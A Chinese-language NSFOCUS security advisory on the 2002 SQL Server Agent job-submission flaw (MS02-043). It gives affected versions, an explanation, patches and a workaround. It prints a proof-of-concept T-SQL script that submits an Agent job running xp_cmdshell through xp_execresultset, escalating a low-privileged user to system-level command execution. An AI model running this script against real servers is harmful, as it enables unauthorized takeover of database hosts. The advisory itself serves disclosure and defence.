首页 -> 安全研究

安全研究

安全漏洞
Microsoft SQL Server Agent作业提交漏洞(MS02-043)

发布日期:2002-08-16
更新日期:2002-08-16

受影响系统:
Microsoft SQL Server 2000
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000 SP3
Microsoft SQL Server 7.0
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000 SP3
Microsoft SQL Server Desktop Engine (MSDE) 1.0
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000 SP3
Microsoft SQL Server Desktop Engine 2000
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000 SP3
描述:
BUGTRAQ  ID: 5483
CVE ID: CVE-2002-1138

Microsoft SQL Server是微软公司开发的一套商业数据库系统,应用在Microsoft Windows系统下。SQL Server 7.0和2000带了一个助手服务 - SQL Server Agent。这个代理程序用来在数据库意外停止之后重启之,另外,它也负责处理提交的作业。

通过提交一些作业让Agent执行,可能导致低权限用户执行它们进而完全控制数据库系统。

通过msdb数据库中的一些存储过程例如sp_add_job、sp_add_job_step等等,用户就可以提交作业让SQL Server Agent执行。由于SQL Server Agent在一个更高的权限下运行,通常是Local System权限,必须保证当提交一个T-SQL作业时它不能被滥用。因此管理员可以使用如下命令来防止这种攻击:

SETUSER N'guest' WITH NORESET

这样普通的低级别用户将不能提交这样的作业(执行系统命令):
exec master..xp_cmdshell 'dir'

但这种限制很容被绕过,只需要在SQL Server Agent丢弃权限后重新连接到SQL Server即可。而结合“Microsoft SQL Server扩展存储过程权限提升漏洞”( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=3313 )中提到的几个扩展存储过程即可绕过这种限制。


<*来源:David Litchfield (david@nextgenss.com
  
  链接:http://www.ngssoftware.com/advisories/mssql-esppu.txt
        http://www.microsoft.com/technet/security/bulletin/MS02-043.asp
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

David Litchfield (david@nextgenss.com)提供了如下测试方法:

-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 数据库管理员应该禁止对MSDB数据库中的下列存储过程的公开(public)访问权限:

sp_add_job
sp_add_jobstep
sp_add_jobserver
sp_start_job

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS02-043)以及相应补丁:
MS02-043:Cumulative Patch for SQL Server (Q316333)
链接:http://www.microsoft.com/technet/security/bulletin/MS02-043.asp

补丁下载:

    * Microsoft SQL Server 7.0
       http://www.microsoft.com/Release.asp?ReleaseID=Q327068

     * Microsoft SQL Server 2000
       http://www.microsoft.com/Release.asp?ReleaseID=Q316333

浏览次数:3831
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障